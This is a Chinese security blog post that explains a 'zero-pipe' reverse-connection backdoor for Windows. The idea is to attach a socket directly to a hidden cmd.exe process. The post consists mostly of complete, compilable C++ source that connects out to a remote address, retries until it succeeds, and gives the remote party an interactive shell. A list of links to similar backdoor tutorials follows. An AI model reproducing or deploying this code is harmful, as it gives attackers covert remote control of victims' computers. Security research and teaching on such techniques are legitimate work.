安全之路 —— 零管道反向连接后门解析
2018-03-05 17:51
197 查看
简介
根据前面两篇Blog介绍的双管道后门和单管道后门,他们的特点是一定需要建立管道以便进行进程间通信。但是能不能不需要管道呢?答案是可以的,这里需要借鉴重叠IO的思想,将程序中的socket函数替换成支持重叠IO的WSASocket函数。核心知识点
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;即将Socket直接绑定到cmd进程的输入输出上,实现无管道。(si即STARTUPINFO)
C++代码样例
/* *@Author: PeterZ *@Time: 2018/03/04 *@Function: 零管道反向连接后门(Default_Port: 4399) */ #include <iostream> #include <cstdio> #include <cstdlib> #include <cstring> #include <WinSock2.h> #include <winsock.h> #include <windows.h> using namespace std; #pragma comment(lib,"ws2_32") const CHAR* REMOTE_ADDR = "127.0.0.1"; const DWORD REMOTE_PORT = 4399; const DWORD MAXSTR = 255; const DWORD READLEN = 4096; void StartShell(SOCKET sSock) { STARTUPINFO si; PROCESS_INFORMATION pi; CHAR cmdline[MAXSTR] = { 0 }; GetStartupInfo(&si); si.cb = sizeof(STARTUPINFO); si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; GetSystemDirectory(cmdline, MAXSTR); strcat_s(cmdline, MAXSTR, "\\cmd.exe"); while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { Sleep(1000); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return; } int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { SOCKADDR_IN sin; WSADATA wsd; SOCKET sSock; CHAR readBuf[READLEN] = { 0 }; DWORD realRecv = 0; const CHAR * welRow = "=====> Hello,Guy ~ <=====\r\n\r\n"; int cRet; if (WSAStartup(0x0202, &wsd) == SOCKET_ERROR) return 0; if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET) return 0; sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR); sin.sin_port = htons(REMOTE_PORT); sin.sin_family = AF_INET; do { cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin)); } while (cRet == SOCKET_ERROR); send(sSock, welRow, strlen(welRow), 0); StartShell(sSock); closesocket(sSock); WSACleanup(); return 0; }
相关文章推荐
- 安全之路 —— 单管道反向连接后门解析
- 安全之路 —— 双管道正向连接型后门解析
- 1k(程序体积1kb) 反向连接,零管道后门
- 1k(程序体积1kb) 反向连接,零管道后门(转)
- SSH 连接慢 与 反向解析
- 基于visual c++之windows核心编程代码分析(41)实现反向连接后门
- Mysql DNS反向解析导致连接超时过程分析(skip-name-resolve)
- mysql反向解析导致连接缓慢
- SSH 连接慢 与 反向解析
- 基于visual c++之windows核心编程代码分析(41)实现反向连接后门
- 后门编程(1)之双管道主动连接型
- Mysql DNS反向解析导致连接超时过程分析(skip-name-resolve)
- 【Python】如何基于Python写一个TCP反向连接后门
- SSH 连接慢 与 反向解析
- 反向连接后门的使用
- python 反向连接后门
- SSH 连接慢 与 反向解析
- SSH连接慢与反向解析(转)
- 数据库连接慢,添加反向DNS反向解析的主机
- 如何基于Python写一个TCP反向连接后门